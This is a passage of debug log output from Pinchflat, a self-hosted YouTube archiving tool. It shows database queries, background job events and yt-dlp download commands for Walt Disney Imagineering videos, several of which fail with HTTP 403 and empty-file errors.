m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13020] 19:02:08.871 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:02:08.872 [debug] QUERY OK source="sources" db=0.1ms idle=924.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:02:08.872 [debug] QUERY OK source="media_profiles" db=0.1ms idle=351.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:02:08.872 [debug] QUERY OK source="media_items" db=0.2ms idle=8.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13020] 19:02:08.873 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13020] 19:02:08.873 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:02:08.874 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:08.874 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:08.874 [debug] Running yt-dlp command for action: get_downloadable_status 19:02:08.874 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:08.875 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:08.875 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:08.875 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/14/35/14355549ea398c127d9e6b3cf06feb6acb99f0194ccb7937a3b2c749c4cc38fd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:02:13.821 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/14/35/14355549ea398c127d9e6b3cf06feb6acb99f0194ccb7937a3b2c749c4cc38fd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:02:13.821 [debug] Running yt-dlp command for action: download 19:02:13.821 [debug] QUERY OK source="settings" db=0.1ms idle=1300.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:13.821 [debug] QUERY OK source="settings" db=0.0ms idle=1301.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:13.822 [debug] QUERY OK source="settings" db=0.1ms idle=1301.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:13.822 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ef/35/ef35cde97f77421d3283243ea07760ab570b93baac572077028498e0f76a3d4a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:02:19.974 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:22.836 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/39/32/3932b096d45da018a14762eb51c15565da693724833aa483530bab8723c10db4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:02:22.837 [error] yt-dlp download error for media item #11511: "ERROR: The downloaded file is empty\n" 19:02:22.839 [debug] QUERY OK source="media_items" db=1.7ms idle=1316.6ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["ERROR: The downloaded file is empty\n", ~U[2026-03-31 23:02:22Z], 11511] 19:02:22.839 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11511},"id":1736,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":300186758,"event":"job:exception","queue_time":44651422,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:02:22.846 [info] {"args":{"id":12518},"id":1734,"meta":{},"system_time":1774998142846127196,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":4,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:02:22.846 [debug] QUERY OK source="media_items" db=0.2ms idle=1325.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 19:02:22.846 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:02:22.847 [debug] QUERY OK source="sources" db=0.1ms idle=879.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:02:22.847 [debug] QUERY OK source="media_profiles" db=0.3ms idle=8.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:02:22.847 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 19:02:22.848 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12518] 19:02:22.848 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:02:22.849 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:22.849 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:22.849 [debug] Running yt-dlp command for action: get_downloadable_status 19:02:22.850 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:22.850 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:22.850 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:22.850 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/65/c1/65c155c68407ca2d5909610aa11d8d446a0715ece4b8ad931cfc851007cc56ea.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:02:23.778 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ef/35/ef35cde97f77421d3283243ea07760ab570b93baac572077028498e0f76a3d4a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-18. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-17. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-16. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-15. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-14. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-13. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-12. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-11. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-10. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-9. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-8. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-7. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-6. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-5. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-4. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-3. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-2. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-1. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-0. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 19:02:23.779 [error] yt-dlp download error for media item #13020: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-18. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-17. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-16. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-15. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-14. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-13. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-12. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-11. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-10. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-9. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-8. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-7. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-6. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-5. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-4. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-3. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-2. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-1. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-0. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 19:02:23.779 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13020},"id":1733,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":14908145,"event":"job:exception","queue_time":92831888,"attempt":4,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:02:27.889 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/65/c1/65c155c68407ca2d5909610aa11d8d446a0715ece4b8ad931cfc851007cc56ea.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:02:27.889 [debug] Running yt-dlp command for action: download 19:02:27.889 [debug] QUERY OK source="settings" db=0.2ms idle=1368.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:27.889 [debug] QUERY OK source="settings" db=0.1ms idle=1369.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:27.890 [debug] QUERY OK source="settings" db=0.1ms idle=915.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:27.890 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/2b/73/2b73344944d1b866c38bce0c69fff308e08667d2e94fe1c1d6007870ee220444.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:02:32.987 [info] {"args":{"id":12001},"id":1735,"meta":{},"system_time":1774998152987290546,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":4,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:02:32.987 [debug] QUERY OK source="media_items" db=0.2ms idle=1466.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12001] 19:02:32.987 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:02:32.988 [debug] QUERY OK source="sources" db=0.1ms idle=1467.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:02:32.988 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1009.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:02:32.989 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT 